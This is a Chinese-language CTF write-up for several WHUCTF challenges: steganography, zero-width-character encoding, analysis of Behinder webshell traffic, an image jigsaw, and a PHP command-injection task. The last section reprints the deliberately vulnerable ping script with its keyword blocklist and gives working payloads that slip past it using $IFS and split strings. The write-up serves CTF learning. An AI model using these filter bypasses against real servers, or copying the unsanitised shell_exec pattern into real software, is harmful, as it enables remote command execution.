武漢大學的題還是很好的,有幾個點是知識盲區,弟弟把沒做出來的題復現一下
顏文字
鏈接:https://pan.baidu.com/s/1q_yZ-NqW_UQG2loADeefDg
提取碼:wwxz
1、掃QR Code,得到這個鏈接https://space.bilibili.com/309312103就卡住了(我傻了)
png+key,嘗試lsb解(py2下哦)
python lsb.py extract 2333.png 1.txt 1234
2、看到最后是倒序的png。
版權保護
鏈接:https://pan.baidu.com/s/1IQmhAVuugDhfelStE7We_Q
提取碼:ud8j
1、
問貝塔姐姐學到一手,2個漢字中間8個零寬字符,只有&awj
和&zwnj
2中零寬字符,(傻了傻了)按住鼠標拖到qq消息框
&awj
記0,&zwnj
記1,bin->hex。
shellOfAwd
鏈接:https://pan.baidu.com/s/1uwiiP8TA4iwy12z1OLNErA
提取碼:ymqu
1、過濾http流量
冰蠍流量的特征,參考:
冰蠍動態二進制加密WebShell基於流量側檢測方案
冰蠍動態二進制加密WebShell特征分析
基於流量側檢測冰蠍webshell交互通訊
在GET請求包中發現2次.php?pass=
在POST請求包中發現Transfer-Encoding: chunked
確定是冰蠍流量
2、冰蠍加密原理,參考:紅藍對抗——加密Webshell“冰蠍”攻防
前面提到的帶pass的2條流量隨便追蹤一個,客戶端GET請求申請密鑰,Sever產生隨機密鑰,並寫入Session,Client返回16位aes密鑰:91ee1bfc4fd27c90
冰蠍在通訊過程中采用AES加密,在線Aes解密
base64解碼后沒有什么用
被匯編支配的恐懼
鏈接:https://pan.baidu.com/s/1-2mLBKhe85Nd4NmCzBm4jg
提取碼:jh07
hint1:你會拼圖嗎?
hint2:注意圖片內容本身,圖片是一本書哦
hint3:jpg文件末尾有幾位關鍵信息
hint4:最后一步:光柵等距填充
hint5:最后一步的字符串與拼音有關,有一個看不清的字母被替換成了特殊字符
1、拿到的附件是加密的pic.zip和王爽匯編的.jpg
在屬性中hint密碼是13位,根據hint3,在結尾發現圖書編號IBSN
網上搜索王爽匯編IBSN,剛好13位
2、100張bmp,1010或205
用linux下的convert
命令拼圖,俺用了11次
水平方向合並為1.jpg:convert +append 1.bmp 2.bmp ... 1.jpg
豎直方向合並為res.jpg:convert -append 1.jpg 2.jpg ... res.jpg
原圖有點子小,放大后的:
3、WHUCTF{硬往圖上看還是可以的,然后根據Hint4、5,flag是能猜出來。
看了官方wp,感覺4列是一組,看其中一個字符,明顯2,3列是透明的,把每組的2,3列填充為黑色
from PIL import Image, ImageDraw
img = Image.open("ori.png")
draw = ImageDraw.Draw(img)
for i in range(101):
if i % 4 == 1:
draw.rectangle((i,0,i+2,100), 'black')
img.save("1.png")
啊哈哈哈,我感覺2個差不了多少
flag:WHUCTF{GUANG_SH@N}
wechat_game
鏈接:https://pan.baidu.com/s/1HlAQyf-76Hz5ZuVN-Inxeg
提取碼:g8qa
1、文件就是js,游戲用的圖片和音頻,txt
2、在txt中的game.txt漢字明顯是倒序的
3、strings -f * | grep "ftcuhw",根據執行結果在game12345.txt搜索關鍵字。
ezcmd(命令執行)
開題就是源碼:
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){#不能有空格
die("no space!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){#不能有'.*f.*l.*a.*g'
die("no flag");
} else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){#不能有cat、more等關鍵字
die("cat't read flag");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
highlight_file(__FILE__);
?>
知識點:
繞過方式:
1、空格繞過:$IFS
、$IFS$一位數字
2、黑名單繞過:
拼接繞過:a=fl;b=ag;$a$b
3、敏感字符繞過:
1)利用變量拼接繞過:a=c;b=a;c=t;$a$b$c
2)利用反斜杠\繞過:ca\t
解題:
因為flag字符串存在正則匹配,所以拼接時不能順着寫,payload:?ip=0.0.0.0;a=g;b=fla;ca\t$IFS$b$a.php
或
?ip=0.0.0.0;a=g;ca\t$IFS$9fla$a.phpF12
或
?ip=127.0.0.1;b=c;d=a;e=t;m=g;n=fla;$b$d$e$IFS$n$m.php
。
這道題和GXYCTF2019 Ping Ping Ping基本一樣。